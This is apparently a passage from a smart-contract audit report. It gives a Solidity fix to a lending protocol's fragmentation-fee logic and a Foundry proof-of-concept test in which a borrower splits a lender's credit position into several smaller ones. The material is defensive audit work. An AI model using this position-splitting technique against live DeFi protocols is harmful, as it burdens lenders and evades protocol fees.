      CreditPosition storage creditPositionWithDebtToRepay =
          state.getCreditPosition(params.creditPositionWithDebtToRepayId);
      DebtPosition storage debtPositionToRepay =
          state.getDebtPositionByCreditPositionId(params.creditPositionWithDebtToRepayId);

      uint256 amountToCompensate = Math.min(params.amount, creditPositionWithDebtToRepay.credit);

      CreditPosition memory creditPositionToCompensate;
      bool shouldChargeFragmentationFee;
      if (params.creditPositionToCompensateId == RESERVED_ID) {
          creditPositionToCompensate = state.createDebtAndCreditPositions({
              lender: onBehalfOf,
              borrower: onBehalfOf,
              futureValue: amountToCompensate,
              dueDate: debtPositionToRepay.dueDate
          });
          shouldChargeFragmentationFee = amountToCompensate != creditPositionWithDebtToRepay.credit;
      } else {
          creditPositionToCompensate = state.getCreditPosition(params.creditPositionToCompensateId);
          amountToCompensate = Math.min(amountToCompensate, creditPositionToCompensate.credit);
-         shouldChargeFragmentationFee = amountToCompensate != creditPositionToCompensate.credit;
+         shouldChargeFragmentationFee = (
+             amountToCompensate != creditPositionToCompensate.credit ||
+             amountToCompensate != creditPositionWithDebtToRepay.credit
+         );
      }

      // debt and credit reduction
      state.reduceDebtAndCredit(
          creditPositionWithDebtToRepay.debtPositionId, params.creditPositionWithDebtToRepayId,
          ↪  amountToCompensate
      );

      // credit emission
      state.createCreditPosition({
          exitCreditPositionId: params.creditPositionToCompensateId == RESERVED_ID
```

```
            ? state.data.nextCreditPositionId - 1
            : params.creditPositionToCompensateId,
        lender: creditPositionWithDebtToRepay.lender,
        credit: amountToCompensate,
        forSale: creditPositionWithDebtToRepay.forSale
    });
    if (shouldChargeFragmentationFee) {
        // charge the fragmentation fee in collateral tokens, capped by the user balance
        uint256 fragmentationFeeInCollateral = Math.min(
            state.debtTokenAmountToCollateralTokenAmount(state.feeConfig.fragmentationFee),
            state.data.collateralToken.balanceOf(onBehalfOf)
        );
        state.data.collateralToken.transferFrom(
            onBehalfOf, state.feeConfig.feeRecipient, fragmentationFeeInCollateral
        );
    }
}
```

The following coded proof of concept is to prove the recommended code above. Please apply the recommended code before running this test using the command: `forge test -vvv --mt test_PoC_AfterCorrectingBug__borrower_forces_splitting_lender_single_credit_position_into_-multiple_credit_positions`.

```
// Requirement: Must apply the recommended code before running this test!!!
function test_PoC_AfterCorrectingBug__borrower_forces_splitting_lender_single_credit_position_into_multiple_cr
↪  edit_positions() public {
    // --- Must apply the recommended code before running this test!!! ---

    _setPrice(1e18);
    _updateConfig("swapFeeAPR", 0); // No swap fee for simplicity

    // 5 USDC for the fragmentation fee
    assertEq(size.feeConfig().fragmentationFee, 5e6);

    assertEq(_state().feeRecipient.borrowATokenBalance, 0);
    assertEq(_state().feeRecipient.collateralTokenBalance, 0);

    _deposit(alice, usdc, 100e6);
    _deposit(bob, weth, 200e18);

    // No lending yield for simplicity
    _buyCreditLimit(alice, block.timestamp + 365 days, YieldCurveHelper.pointCurve(365 days, 0));

    // Bob borrows Alice's 100 USDC (w/o interest for simplicity)
    uint256 debtPositionId_bob = _sellCreditMarket(bob, alice, RESERVED_ID, 100e6, 365 days, false);
    uint256 creditPositionId_alice = size.getCreditPositionIdsByDebtPositionId(debtPositionId_bob)[0];

    // Bob maliciously splits Alice's lending liquidity (USDC) in a single source credit position into other 4
    ↪  credit positions (20 USDC for each)
    // and leaves the leftover 20 USDC in the source position
    Vars memory _before = _state();

    uint256[4] memory creditPositionId_alice_splits;
    for (uint256 i = 0; i < 4; i++) {
        // Self-borrowing, no lending yield
        _buyCreditLimit(bob, block.timestamp + 365 days, YieldCurveHelper.pointCurve(365 days, 0));
        uint256 debtPositionId_self_borrow_bob = _sellCreditMarket(bob, bob, RESERVED_ID, 20e6, 365 days,
        ↪  false);
        uint256 creditPositionToCompensateId_bob =
        ↪  size.getCreditPositionIdsByDebtPositionId(debtPositionId_self_borrow_bob)[0];

        // Split Alice's source credit position
        _compensate(bob, creditPositionId_alice, creditPositionToCompensateId_bob, 20e6);
        creditPositionId_alice_splits[i] = creditPositionToCompensateId_bob;
    }

    Vars memory _after = _state();

    // Bob paid 4x fragmentation fees in collateralToken (WETH)
    assertEq(_before.bob.collateralTokenBalance - (5e18 * 4), _after.bob.collateralTokenBalance); // 5e18 * 4 =
    ↪  20 WETH (4x fragmentation fees were paid)

    assertEq(_before.bob.borrowATokenBalance, _after.bob.borrowATokenBalance);

    assertEq(_state().feeRecipient.borrowATokenBalance, 0);
```

```
    assertEq(_state().feeRecipient.collateralTokenBalance, (5e18 * 4)); // 4x fragmentation fees received
}
```